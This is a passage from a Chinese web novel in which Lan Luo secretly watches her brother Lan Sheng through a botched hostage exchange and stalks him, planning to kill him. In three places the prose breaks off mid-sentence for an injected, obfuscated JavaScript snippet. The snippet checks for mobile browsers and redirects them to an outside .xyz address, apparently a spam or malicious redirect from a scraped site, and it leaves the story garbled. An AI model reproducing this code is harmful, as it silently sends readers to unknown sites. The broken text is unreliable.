胡娇芬脸上还是一派老实:“几位,放了他,您们也是添福报的,你们跟谁有仇,直接去报不行吗?我家这孩子要是真有个三长两短,我可怎么活啊!” 瘦猴打了个响亮的喷嚏,红着眼睛指胡娇芬:“少废话!我去,这怎么回事,怎么喷嚏打不停?” “放了他,放了他就不打了,老天都看在眼里的,这也是上天在给各位一个提醒……”胡娇芬苦口婆心劝说几人。 “是不是……阿嚏……什么毒花粉,阿嚏!毒花粉飘出来了?”胖子喷嚏打得脸上赘肉乱颤,断断续续地说。 “你傻啊!”方脸捏着鼻子,“什么花粉就对我们有效,对这老太婆无效?我看就是她在捣鬼!” “什么玩意?!” 胖子眼珠子瞪圆,指着胡娇芬:“好样的,给我上!” 一直没怎么开口说话的镶边二人组你看看我我看看你,有些犹豫。 “愣着干嘛,就爱打喷嚏是吧!废物,连个大妈都不敢打!”瘦猴骂得唾沫横飞,满脸恨铁不成钢。 镶边二人组揉着鼻子,对视一眼,然后一脸便秘地冲了上去。 兰落撑着下巴,无聊得快要睡着。 好不容易听到了兰升的名字,他们倒是继续说下去啊,怎么开始互殴了? 胡娇芬佝偻着身子,双手一直背在身后,看上去就像个普通中老年女人。 但兰落的角度看得很清楚,胡娇芬的手一直在悄悄比划着什么,指尖围绕着一层细细的沙尘。 要不是兰落视力出群,还真看不清这小玩意。 胡娇芬的喷嚏异能,就是依托这些小粉尘发动的? 思索间,二人组已经冲到了胡娇芬面前,迎面挥起拳头。 拳头落在胡娇芬面前时微妙地停顿了一下,然后分别落在她的双肩,逼得胡娇芬颤颤巍巍后退几步。 即使被两双拳头打中,胡娇芬双手依旧牢牢背在身后,连下意识的抵抗都没有。 兰落挑了挑眉,她看出胡娇芬似乎在酝酿什么,手上的粉尘搅动的速度明显加快了很多,甚至她身后的草丛都在微微飘动。 原来如此。 兰落原本以为胡娇芬是特殊的“喷嚏”系异能,后来又怀疑她是土系异能,现在这么一看,也许大概率是风系。 依靠微弱的风力控制细小的粉尘,将粉尘送入敌人鼻腔,从而达到让人不停打喷嚏的效果。 不得不说,非常鸡肋。 兰落低头捡起一颗小石头,在手心抛几下,掂了掂重量。 胡娇芬能把风的大小控制得这么好,还能神不知鬼不觉运送这些小粉尘,对异能的掌握怎么看都很精妙了,只是不知道为什么宁愿琢磨这些喷嚏招式都不在风力上下功夫。 也许是异能质量差,也许是藏拙。 但这不是兰落关心的,她把石头夹在手指里,眯起一只眼睛瞄准胡娇芬的双手。 二人组没使用异能,只是干巴巴地用拳头不轻不重地打着,一步步逼退胡娇芬。 兰落都想夸他们一句尊老爱幼了。 她确定好位置,手指一松,灰扑扑的石子就旋转着朝几人飞速弹去。 石子体积小,兰落动作又轻,再加上几人忙着打喷嚏,没有一个人注意到它。 “噗!” 石子精准命中,在皮肤上留下一道红痕,然后悄无声息落地,混在石子堆里消失不见。 胡娇芬手腕一抖,小漩涡一样的风瞬间散架,粉尘扑簌簌落了一地。 她略有些惊讶地抬头四处看,把二人组吓得后退两步,生怕她变异似的。 兰落已经藏在了洞口后面,侧耳听着外面的动静。 “行了行了,够了,回来吧。”方脸吸了吸鼻子,神清气爽地命令二人组。 瘦猴紧随其后:“对,一个没用老太太,不跟她计较了。” 外面一阵窸窸窣窣,兰落对准洞口,看见他们扔下了一张照片: “记着啊,想要那个小屁孩,就去找这个照片上的人,他知道该去哪里找我们,到时候让他拿物资包来换人,知不知道?” “可别想着自己来,你这把老骨头,我一拳就干翻了!” 照片太小了,兰落看不清上面的人脸,但能猜到那应该是兰升。 兰升啊兰升,你的人生,真是处处惊喜。 胡娇芬一直坐在地上呆呆看着照片,没有半分动身找人的意思。 兰落在洞里百无聊赖地等了一会儿,确认几个学生走远了,掀开石头跳出山洞。 她攀着石壁向下滑行,在地上滚了两圈做缓冲,站起身拍拍沾在身上的灰尘和树叶,这才不紧不慢走到胡娇芬面前。 她没管胡娇芬,弯腰捡起照片。 照片上的确是兰升,他穿着军校制服,微笑站在校门口,脸上的喜气遮都遮不住。 兰落垂眸细细看,她想得没错,军校的大门的确很大,比实验室建在地下的阴暗基地高了不知道多少。 “是你!” 胡娇芬抬头看她,脸上半是不解半是愤怒: “上次没杀了我家孩子你很后悔是不是?” “你家孩子是哪位?”兰落对着光线看照片,一脸不在意。 胡娇芬一拍地面:“少装了!要不是对我们有意见,你为什么要阻止我?” 兰落撇撇嘴:“蠢。” “我是蠢,但我绝对不会像你一样把受伤的同伴一个人扔在野外!”胡娇芬冷笑一声,从地上站起来。 “你以为,”兰落把照片递给她,“全世界只有你有异能吗?” “平时最爱装窝囊废,怎么该窝囊的时候硬气起来了?” 兰落略显茫然地问,她是真的不理解胡娇芬的做法。 “你知不知道,你在酝酿异能的时候,他们也在酝酿?” 胡娇芬闻言微微愣神,似乎真没想到。 兰落耸耸肩:“你总是在野外生活,接触的人太少了。信不信刚刚只要你敢出手,那几个丑东西立马就会放出异能,让你死无葬身之地。” “感恩吧,感恩他们虽然恶毒,但还只是学生,否则不管你放不放异能,有没有威胁,他们都不会放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852199|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的。” “那也好过什么都不做。”胡娇芬捏着照片,眼圈有些泛红。 不过是个捡来的孩子,至于吗? “谁说什么都做不了?”兰落虽然不理解,但还是耐心解释,“你就按照他们说的做不就行了?” 胡娇芬:“我做事最讲义气,不能把无关的人牵扯进来,我宁愿自己去救他。” “你真是……这本来就是他们之间的矛盾,你只不过是被牵连的局外人,找到照片上的人,把矛盾扔回去,你带着小孩爱去哪去哪呗。” 兰落都快没耐心了,语速越来越快。 “别捏了,”她摁住胡娇芬揉搓照片的手,“小心照片花了看不清脸。” “去吧,我可以告诉你,他在南边。” 兰落拍拍胡娇芬的手:“别犹豫了,小心发烧烧死。” “哦,也别把我说出来,否则我先杀了那小孩。” 胡娇芬凝视着照片上的人,满脸挣扎:“你们认识?你跟他有仇?” 兰落嗤笑一声,没有回答,转身离开了。 她没继续管胡娇芬,反而钻到树上开始寻找五人组。 他们人多势众,走得不快,兰落很快就追上了他们,远远追在后面跟踪。 她得先知道明天兰升会在哪里出现。 跟踪兰升风险太高,还是跟着这几个废物比较轻松。 “那小孩睡了这么久,要不要喂口水啊?” “喂什么喂?哪有给人质喂水的?” “就是,少喝点还不用上厕所,省的我们麻烦了……” “哈哈哈哈哈哈……” 兰落一路听着他们的“欢声笑语”,心里毫无波澜。 她早就明白许多人与牲畜没有区别,对他们感到愤怒,不过是浪费情绪。 摸清楚五人组的驻扎地点后,兰落悄悄换了条路,准备再去兰升的空地看一眼,看胡娇芬有没有战胜自己的面子去求援。 天色暗了,兰落行动起来也少了很多拘束,幽灵般轻盈地穿梭着。 偶尔会有零星的人影与她交错而过,都是脚步匆匆没有停留。 大概都把她当做了军校学生,怕落单的时候和她打起来,所以赶着和大部队汇合。 兰落的衣服也是深色系,在夜色和树丛的掩盖下勉强可以浑水摸鱼,前提是在没有细看的情况下。 “喂,停下!” 懒洋洋的声音在兰落身后响起。 兰落脚下差点一滑,稳住身体把自己藏在树后:“怎么了?” 她都没发现这里有人。 “你是哪个老师手下的?” 带着墨镜的肃哥上下扫她一眼:“入夜了,你们老师没提前教过你夜间禁止单行吗?” “小息城既有野兽也有不同阵营的学生,夜间腐蚀雨的概率也会增大,天黑就老实待在营地。” “嗯,明白。”兰落判断出他可能是老师,小心翼翼作答,生怕被看出不对劲。 肃哥啧了一声:“什么态度?都是你们这帮不老实的,害我们每天晚上都要夜巡。要我说巡什么巡,不听话的学生死了最好,反正最后也毕不了业……” 兰落非常赞同他的话,但现在不是交谈的时候。 身为巡逻老师就赶紧去夜巡,别揪着她这个非在校生折腾了。 她刚要偷偷走,肃哥却不依不饶: “慢着,我得扣你点分。” “说,你到底是哪个老师手底下的?” 25. 打五 兰落被问得两眼一黑—— 她怎么知道自己是哪个老师手底下的? “抱歉,”她装作惊慌失措,“请问这样会连累我的老师吗?我不是故意的,只是没来得及和队友汇合。” 肃哥说:“来不及?” “这速度和反应也太慢了,回校要让你老师给你加练。” 兰落翻着白眼,嘴里却老实:“是,我明白了。” 肃哥没什么反应,叉着腰四处看。 兰落瞄他一眼,知道他不是真的在意老师的问题,准备直接趁机溜掉,不给他找茬的机会。 “慢着——” 才迈了两步,肃哥慢悠悠的嗓音又响起。 兰落叹了一口气,认命停下,手指已经不由自主地摸上了腰间。 “你知道,”肃哥顿了顿,“兰升在哪吗?” ……又是兰升。 兰落耐着性子回答:“不知道,怎么了?” “啊,我就知道,”肃哥说,“他哪里都好,就是不合群,总是独来独往的。” “谁让人家有异能傍身呢,你们这种普通学生可没这么多试错成本,死了就是死了……” 兰落听他絮絮叨叨地走远,看似埋怨,言语里却藏满了对兰升的欣赏。 异能傍身? 还不知道是福是祸呢。 兰落满脸不屑,冷着脸朝兰升驻扎的地方飞奔而去。 肃哥说的没错,天色暗下来之后,路上少了很多三三两两游荡的学生,倒是方便她赶路了。 不知道什么地方传来了野兽的嘶吼,天边炸出一道道雷电,林子里的鸟争相逃跑。 “野猪……” “拦住!宰了它!” “……烤肉!” 模糊的喊声窜进兰落的耳朵,她朝着声音的来源看了几眼,消失没多久的肃哥正站在树上围观学生抓野猪。 兰落脚步一顿,绕路离开了这片是非之地。 过家家的捕猎游戏,和她没有关系。 夜风呼呼的,把她的头发高高吹起,衣服也鼓出一个大包,随着她的移动变换形状。 和其他地方的鸡飞狗跳不同,兰升的地盘格外安逸。 一顶帐篷,一簇篝火,一口铁锅。 三个围着篝火的人。 一个是兰升,一个是楚知,还有一个是才见过不久的胡娇芬。 “孩子,这是我摘了好久的果子,我试过了,都是能吃的,没毒,你尝尝。” 胡娇芬捧着一个灰布包,里面裹着大小不一的青色果子。 这果子兰落吃过,没什么味道,吃起来像在嚼固体白开水。 虽然不好吃,但这种东西在小息城也不算常见,运气好才能在树林深处找到几颗。 看来胡娇芬为了说服兰升,费了不少心思。 其实她大可不必贿赂,按照兰升那个死德行,只要她抹着眼泪卖惨,他就绝不会拒绝的。 胡娇芬还是脸皮太薄了。 兰落双腿叉开蹲在树上,两条手臂架在膝盖上,双手撑脸,一脸无聊地盯梢。 火堆旁的兰升摇了摇头,递给胡娇芬一碗冒着热气的糊状物。 像是青菜粥,兰落舔舔嘴唇,不记得自己多久没吃过这种活人的食物了。 “哎呀,”楚知露出一个温和的笑,“你就不要推辞了,胡姐也是一片真心。” 说着就倾着身子去够胡娇芬放在地上的果子。 楚知是靠坐在一棵树下的,全靠树干支撑身体,这么往前一倾,整个人都不受控制地倒在地上,抱着颗果子滚了两圈。 兰升和胡娇芬见他滚了,慌忙从地上站起身要拉他。 胡娇芬年纪大了,反应没有兰升快,最终还是兰升扶住了滚到照明范围之外的楚知。 他们陷进黑暗里,兰落看不清,但是可以听见他们讲话。 “抱歉,忘了自己的身体……” 楚知的声音里满是愧疚:“我想给你拿个果子,胡姐毕竟是救了我的人,这果子你就尝尝吧。” 青绿色的果子在黑夜里只剩下一个圆圆的轮廓,兰升沉默着接过果子,凑到鼻尖嗅了嗅。 “哎吖吖,没事吧,真是对不住,都怪我都怪我……” 胡娇芬见缝插针扶起楚知,让他靠在自己的腿上。 “他们说一定要你出面才肯放了我家孩子,我也是没办法了。我知道物资对你们来说很重要,要是这事让你们为难了,我绝对不缠着你们。” 兰升还是没说话,举着果子的身影在黑暗中显得格外模糊。 兰落撑着下巴看他们上演这出推拉大戏,几乎有些昏昏欲睡。 要不是为了等到兰升亲口答应赴约,她早就回洞里睡觉了。 希望没有不长眼的小蛇霸占她的山洞。 “咔——” 兰升站在胡娇芬和楚知对面,咬下一小块果肉,放在嘴里慢慢咀嚼。 “知道了,我会把你的孩子带出来。” 兰升三两下把果子吃干净,转身走进帐篷: “我也不会把物资包交给他们。” 帐篷顶上挂着一个小小的节能灯,兰升从灯下走过,面容有几分冷。 答应了就好,兰落和胡娇芬同时松了一口气。 即使兰升恢复力惊人,但她不相信他能在一打五之后分毫不伤。 只要他受伤了,哪怕只是疲惫了,她都有机会渔翁得利,拿到兰升的心脏。 兰落一脸轻松地离开藏身的树,朝着自己的山洞快步前进。 睡觉睡觉,她要安心睡大觉,坐等好戏开场。 离开前她看了一眼空地,兰升已经走进帐篷里,胡娇芬依旧在给楚知当人肉靠垫。 不知道是不是她的错觉,兰落总觉得自己似乎又和楚知对上了视线。 应该是错觉……吧? 要么就是楚知用他鸡肋预知能力预知到了她的存在。 但是看楚知毫不犹豫帮着胡娇芬坑兰升的样子,兰落不知为何,潜意识中并不担心他会对兰升告状。 如果告了状,那就打死他。 兰落享受着凉凉的夜风,猴子似的一路荡着树枝藤蔓回到山洞。 洞里一切安好,没有人和动物踏足的痕迹。 大概是军校学生都是集体行动,很少有人会单独行动,所以看不上这么小的空间。 兰落逼迫自己从期待中抽离,安安静静睡了一觉恢复体力。 但心里装着事,她睡得还是不安稳,甚至做了好几个梦。 其中一个梦里竟然还出现了祝见尘。 要不是这个梦,她都差点忘了他的存在。 梦里的祝见尘像精神失常了一样,围着她又唱又跳又表演杂技,烦得兰落上去左右开弓两巴掌。 世界终于安静了。 只是没安静几秒,他又开始学鸟叫,在她耳边叽叽喳喳个不停。 兰落忍无可忍,带着一腔怒火睁开了眼睛。 眼前是狭窄的山洞,几缕光线从石缝中透进来,照在她的眼皮上。 兰落伸手挡住阳光,眨眨眼恢复清醒。 错怪祝见尘了,是山洞外面有鸟在叫。 她坐起身活动了一下关节,把头发随意扎起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857409|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抠掉小石头看外面的景象。 天色蒙蒙亮,夜里应该下过一阵雨,树叶和地面都带着潮湿。 兰落环顾四周,见周围没人,这才迅速翻出了山洞,沿着树林一路狂奔。 她要提前藏到五人组和兰升的约定地点,省的和他们迎面撞上。 坐在枝叶茂密的树上,兰落嚼着几片散发清香的树叶清洁口腔,眺望兰升的方向。 她已经能隐隐约约看见一个移动的黑点,应该就是兰升了。 没带上胡娇芬和楚知? 不过兰落想了想,一个老一个残,带上他们似乎也没什么用。 五人组也陆续起了床,刚从帐篷里跳出来就瞪着眼警惕四周,好像生怕兰升偷袭。 也不知道刷刷牙洗洗脸,简直是五张臭嘴配五张反光油脸。 “喂!就站在那里,不要过来!” 胖子一声怒喝,匕首直指现身的兰升。 兰升的衣领上沾着水汽,他举起双手,面色如常:“是你们让我过来的。” “我、我当然知道!”胖子匕首有些哆嗦,“听我们的就是了,少叽叽歪歪!” “没错,别废话!”方脸站在胖子侧后方,“你的物资包呢?” 瘦猴也开始加入:“我们都说了让你带着物资包来见我们,不然不可能放人!” “对,而且你不准在小息城西北两个方向活动!”胖子补充道。 “人在哪,让我看看。”兰升没有回应这些问题,看向他们的帐篷。 瘦猴鼻孔朝天:“不行,你必须先答应我们的要求。” “不行,” 兰升掏出大腿上的匕首:“我不答应。” 胖子见状,浑身肥肉抖了抖,刀尖对准二人组:“快,快上!” 二人组握着刀,苦着两张脸冲了上去。 “啪!” “砰!” “啊!” 兰落捂着眼睛,没脸看。 看见轻易被放倒的二人组,剩下三人不约而同后退几步,面面相觑,谁也不肯上了。 “上,上啊,不然要被他压着打了!”瘦猴大叫一声,扔出一团火球。 胖子也嚎了一嗓子,双手握拳同时捶向地面,地面瞬间出现两条深深的裂痕,蛇一般延伸到兰升脚下。 火球与裂缝同时到达兰升身侧,兰落饶有兴趣看着,只见兰升身形不动,脑袋一偏,脚步一撤,稳稳躲过。 火球擦着他的侧脸掠过,裂缝刚好停在他脚尖前,而兰升本人,连头发丝都没动。 兰落看了眼自己脚下被火球烧黑一块的树干,莫名觉得滑稽。 这份滑稽在兰升暴起冲刺,吓得三个人吱哇乱叫抱作一团,发现彼此都没什么用处之后又四散逃开的时候到达了顶峰。 尤其是最初的二人组正趴在地上,眯着眼睛悄悄远离战场。 高看他们了,兰落庆幸自己没有太早露面。 这五人组这么不堪一击,她今天就别想渔翁得利了。 三个人各自挨了几刀柄,捂着胸口在地上一边打滚一边哀嚎,兰升握着刀,站得笔直。 “小子!” 胡娇芬不知道从哪冒出来了,满脸着急,掠过兰升往几个帐篷里钻。 兰落有些失望,看来事情就这么顺利解决了。 刚准备离开—— “啪嗒。” 银色匕首轻飘飘掉在地上。 兰升手指松开了一直紧握的匕首,上半身前后摇晃着。 兰落亲眼看着,兰升走到五人组看不到的地方,然后撑着树干,无力地跪在了树后。 26. 妹妹 什么意思? 兰升什么时候这么菜了? 兰落左思右想,回忆了好几遍五人组的表现,几个菜鸡怎么也不至于让兰升精疲力尽到这种地步吧? 就算是她对上这五个废物,也绝不会像兰升现在一样跪倒在地。 是退步了还是…… “臭小孩!你睁睁眼,睁睁眼不要吓我!” 胡娇芬的喊声从一间小帐篷里爆发出来,兰落把视线从兰升身上挪开。 曾经一面之缘的小孩软趴趴的,被胡娇芬搂在怀里,手脚都垂在地上,毫无声息。 胡娇芬跪在地上,膝行离开帐篷,满脸绝望:“救救他!怎么都叫不醒了……我拍也怕不醒!救救他,你们谁救救他!” 小孩的脸藏在胡娇芬臂弯里,在胡娇芬走动的时候颠了出来,正对着兰落的方向。 他比上次见面的时候瘦了不少,黑黑的脸透露出一股灰意,唇色更是惨白,脖颈没有力气似的,胡娇芬动一动,他的脑袋就摇一摇。 一看就是死透了。 兰落跟小孩谈不上熟,何况上次见面的时候他的态度也不好,所以对于这小孩的死她没什么感觉。 只是,兰落挑眉看扶着树沉默站起身的兰升,他的心里肯定不好受吧? “死了?”胖子也顾不上嚎叫了,趴在地上练练摇头,“这可不是我干的啊,昨天晚上还好好的呢。” 瘦猴梗着脖子叫:“也不赖我!我早上睡醒摸了一下还是热的呢!” “对!” 胖子见瘦猴帮腔,更有底气了:“没干过的事我们可坚决不认,他肯定是自己死的……” “你闭嘴!” 胡娇芬怒喝一声,无形的气流巴掌瞬间落在了胖子的脸上,留下一点微不足道的红痕。 杀伤力好低,但总算不用她那个喷嚏异能了。 兰升缓缓从树后走出来,面容冷肃:“你们到底动没动手脚?” 他面色有点苍白,但由于皮肤本来就白,所以看上去并不明显,也就兰落熟悉他,所以能察觉出他的异样。 兰升甚至忘了拍拍裤子上的灰尘,他的膝盖处还留着一层薄薄的黄土,和他严肃的表情格外不搭。 “没动!” “没有没有!” “没动啊,真没动!” 兰升出面之后,几人明显老实不少,一个劲儿地替自己辩白。 瘦猴脸都皱成了一团,小声说:“我们动他干嘛?本来就是威胁威胁你而已,跟他又没仇,动他还不够我们麻烦的。” “他来的时候就病殃殃的了,这样不能怪我们吧,就算没有我们他也活不下去了……” “就是,”胖子也苦着脸,“别说小息城就是一座荒城,根本没有医疗设施,就连我们都没有治疗队,学校可是说过了,试炼是为了磨炼我们,不让带医疗,难不成你指望着让学校把这个来路不明的小孩紧急送回学校?” 胖子越说越有理,脑袋不自觉昂起来:“那根本不可能,堂堂南部军校,可不是谁都能使唤得了的。” 兰落撇了撇嘴,看不上他一脸得意的样子。 “要不是你们把他带走,事情怎么会发展到这个地步?”兰升握紧拳头,很愤怒的样子。 兰落倒是能明白他愤怒的点,但看他拳头捏得嘎吱响也不肯上去教训这几个杂碎的样子,心里充满了不屑。 一如既往假清高。 和她进实验室那天一样。 虽然表现得比谁都善良,但事实上什么都不愿意失去,也什么都做不到。 一直没怎么开口的方脸咽了咽唾沫:“我们就算不绑架他,他也已经病重了。要、要论起来的话,这全都是你的错!” “要是你舍得把物资包交出来,我们早就把这小孩还回去了,也不至于直接拖到病死也没人发现!” 胖子脑袋一点一点的,格外认同:“没错!就是你的错,都是你把他害死的,跟我们没有关系!” “我杀了你们!我杀了你们!” 胡娇芬把小孩放在草地上,捡起地上的匕首就朝三人冲过去。 至于刚开始出手的二人组,早就一扭一扭地爬进了草丛,背着他们爬起来溜走了。 三个人之前被兰升教训了一顿,现在正虚弱着,看见双目赤红的胡娇芬,立刻不顾形象地到处乱爬。 “啊啊啊啊啊啊别过来!都说了不怪我们,你找兰升去!” “别火上浇油了死胖子!” 瘦猴长得瘦小,爬起来比另外两个人快得多,边爬边骂队友。 “你才是死瘦子!一刀下去能给你捅个对穿!” “你个死胖子死胖子!一刀下去连皮都砍不穿!” “唉……” 兰落扶住脑袋,实在是忍不住,幽幽叹息了一声。 什么最高军校,直接改名最高草台班子吧。 兰升冲上去,从侧面夺胡娇芬手里的匕首。 “先把刀放下,杀了军校生你就完了。” 胡娇芬现在没有多少理智,听不进兰升的话,固执地攥住刀柄。 眼看匕首就要送到方脸面前,方脸伤了腿,爬得最慢,急得大喊:“兰升!兰升!我们好歹是同学,你不能见死不救,救我,救我兰升!” 和方脸话音一起落下的,是兰升握住刀刃的手指。 匕首锋利,压在兰升的手指上,留下一道鲜红的血痕。 血珠争先恐后涌出来,练成一条血线滑落。 “胡大姐,冷静。” 兰升面色如常,似乎感受不到疼痛,轻声宽慰胡娇芬。 兰落知道他远没有表现出来的淡定,兰升的痛觉比正常人灵敏很多,正常人挨刀子都会疼得不行,何况是兰升。 知道归知道,兰落却共情不了。 她既没有痛觉,也不理解兰升主动握刀刃的做法。 给胡娇芬来一脚不就行了吗? 胡娇芬握着刀,看看兰升又看看方脸,撒开刀子一脸绝望:“我就知道,你们都是一伙的。” “你们的游戏,要用我们的命来玩啊!” 胡娇芬一字比一字嘶哑,说到最后,死死瞪着兰升,双手猛的向前平推。 一道肉眼可见的气流漩涡出现在胡娇芬的手掌心,在众人都没有反应过来的时候直接拍在了兰升的胸口。 兰升的面部表情有一瞬崩塌,他松开匕首,捂住胸口,手上的伤口以肉眼可见的速度愈合着。 胡娇芬下手之后没有停留,转身抱起小孩的尸体钻进了树林,然后消失不见。 兰升愣愣站在原地,没有追上去。 胖子见状停下来,四肢着地,肥硕的脸上堆着笑:“嘿,让你上赶着当圣父,这下被狗咬了吧!” “闭嘴!!”瘦猴再次崩溃大叫,手脚并用往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865834|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬。 方脸也早就闭着嘴往另一个方向挪了。 兰升朝胖子走了几步,表情冷到凝固。 胖子意识到不对,赶紧找补:“你……你也别担心,她对你用了异能,异能印记已经留在了你的制服上,等你跟老师们汇报之后,她就天涯海角都逃不掉了!” 异能印记,兰落知道这东西。 就像每个人的指纹都不一样,每个异能者的异能印记都不相同,即使是同一种类型的异能,也不会出现一模一样的印记。 军校的制服有特殊的记忆材料,可以保存异能印记,本意是为了统计学生互相间的被攻击次数,后来慢慢演变成保护学生的手段。 所以他们才会在试炼期统一穿军校制服。 “比起我,”兰升嗓音冷淡,“你先关心一下学校会怎么处置你们草菅人命的行为吧。” 胖子哽了哽,支支吾吾半天,说不出一句完整的话。 兰升没给他继续说话的机会,膝盖微弯,提起一只脚用力踹在了胖子的肚子上。 “呕!” 胖子干呕一声,被踢出几米远,在地上拖出一道长长的痕迹。 哟,硬气了。 兰落脚都蹲麻了,撑着下巴看戏。 再忍忍,等兰升落单,她就准备下手。 她已经看出来了,兰升现在的状态非常不好,脚步拖沓不利索,手指也在微微颤抖。 她看着兰升走到爬行的瘦猴面前,又狠狠给了他一脚。 方脸已经快爬出这里了,兰升连头都没回,背手掷出匕首。 匕首“铛”一声钉在方脸面前的草地上,吓得他浑身一颤,本就明显的咬肌似乎又增大了几分。 兰升快步走到方脸面前,拔出匕首,银白的光芒一闪而过。 方脸双腿发颤,自下而上看着兰升用衣服擦拭匕首上的尘土,口水吞咽越来越快。 兰落眯着眼睛,凭什么另外两人挨踢,这个方脸要挨刀? 不公平,应该给那俩蠢货也补一刀。 兰升擦干净匕首,小心收起来,然后重复刚才的动作,狠狠给了方脸一脚。 哦,好吧,三个人都不用挨刀。 兰落看了看,三个丑家伙都翻着白眼晕了,死鱼一样安详。 为什么不捅他们两刀呢? 怕担责的话,让胡娇芬自己捅也行啊。 这下好了,两边都得罪了,活该。 兰升在原地站了一会儿,仰头用脸接着阳光,然后叹口气,脚步虚浮地离开了。 兰落小心地把自己从树枝上放下来,悄然跟了上去。 她辨认了一下,兰升走的方向是他驻扎的那片空地,她已经很熟了,因此也就没跟太近,只是远远跟在后面。 兰升越走越偏,直接走进了一片密林。 这片林子无比茂盛,兰落却觉得有点冷。 植物长的越好,就代表着这块地方的养料越充足。 腐蚀雨来临前期,小息城躲避不及,全城死了大半,所以这些植物的养料是什么,也可想而知了。 兰落注意到兰升扶着一棵树停下,立马停下脚步,屏住呼吸。 怎么了,要撑不住了? 需不需要亲妹妹来个临终关怀? 兰升指尖泛白,指甲抠进树皮。 他四处张望一下,突然叹息一声: “妹妹。” 27. 捅他 听到兰升一句“妹妹”,兰落瞬间出了一身冷汗。 什么时候发现她的? 兰落来不及细想,浑身紧绷,握住枪。 反正本来就打算在这里动手了。 “我总是能感受到你,好像你就在我身边一样。” 兰升仰着脑袋,看着树梢的叶子说。 兰落脸上的表情变了又变,手里的枪握也不是松也不是。 他傻了啊?还是疯了? 怎么突然找了片林子自言自语? 吓得她差点自爆,兰落摩挲枪柄,庆幸自己没急着冲出去。 “你是不是想哥哥了?” 兰升继续对着空气自言自语,眼睛因为阳光的照射眯了起来。 他的声音不大,但这片林子太安静,兰落听力又好,注意力全在他身上,很轻易就听到了。 想? 兰落想跳下去告诉他:“兰升,你想多了,我是来掏你心的。” 亲兄妹,掏心掏肺亲兄妹。 但她没开口,只是屏住呼吸往后退了退。 兰升说完,停顿了很久,好像真的在等待一个回答似的。 林子里只有微风吹动树叶的声音,以及不知何处的鸟儿振翅声。 死一般的寂静里,兰落恍惚间似乎听见了一阵强烈的心跳,她摸上自己的胸口,自己的心跳很快,但和耳中盘旋的心跳声频率似乎并不一样。 是兰升的心跳? 可是他们离得那么远,怎么可能听得到彼此的心跳声。 兰落侧耳去听,可这声音已经消失了,好像刚刚的心跳声只是她紧张下的错觉。 兰升半倚在树干上,垂下脑袋继续说:“肯定不会想我吧,毕竟你从来就不喜欢我。” “你知道吗?刚刚看见那个孩子的时候,我立刻就想到你了。” 兰落安静听着,闻言嘴角抽了抽。 她有那么丑吗? 兰升不知道她的心理活动,自顾自跟树干唠嗑:“我没想到他会死,我以为那几个人只是闹着玩的。” “看到他尸体之后,我的第一反应不是救他,我只是想到了你,你是不是也会遇到不好的事情?” 废话,兰落对他的马后炮不屑一顾。 “你刚离开的时候,我经常做梦,梦到你被人欺负了,甚至会梦到你浑身冰凉地躺在地上,不管我怎么喊都没有反应。” 兰落抬起枪瞄准他,梦都是反的,她活得好好的。 “真希望,你已经自由,去过自己喜欢的生活。” 兰升脊背微弯,温柔地说,丝毫没意识到身后黑洞洞的枪口已经对准了他的脑袋。 兰落吞了口唾沫,这枪没有消音器,她必须一枪爆头,不然就全毁了。 也许是因此犹豫,兰落没能立马扣下扳机。 兰升从地上站起身,扶了一下树干,然后抬头看看天,深一脚浅一脚继续往前走,背影没有丝毫停顿,似乎刚刚的情绪都已经吐给了树洞。 兰落忍不住轻轻“啧”了一声,有些懊恼。 不该犹豫的,这么隐蔽的地方,他又是静止的状态,只要她对准一些,成功率会很大。 现在兰升开始行动了,她下手也会更困难。 兰落认命把枪别回腰间,继续跟着他,就像追着饵料的鱼一样。 兰升前进的方向是他的驻扎地,看来是要回老营休息了。 兰落看了眼太阳,这个时间,他该不会是打算做饭吧? 如果兰升真的打算做饭,那她就先放他一马,等他把饭做好再下手。 她已经很久没吃过正儿八经的饭了。 被兰升刚刚奇奇怪怪的举动吓了一跳,兰落是不敢跟太紧了,确保自己能看见他的影子就行。 兰升越走脚步越虚浮,看上去简直像在沙漠迷路了三天三夜。 打五个没实力也没脑子的废物,怎么就把他消耗成这样了? 兰落心里其实有些怀疑,这不像是兰升的真实水平,看上去反而像中了某种……毒? 她对毒小有研究,兰升浑身无力脚步虚浮的样子,很符合中毒的特征。 但她一直跟着兰升,也没看到他有被下毒的迹象啊。 树越来越稀疏,熟悉的空地近在眼前。 兰落怕暴露自己,没有继续跟,停在一棵繁茂的树上观察。 兰升走出树林,只是没走两步,就晃晃悠悠地倒在了地上。 他双手撑地喘着粗气,挣扎着站了起来。 然后第二次倒在了地上。 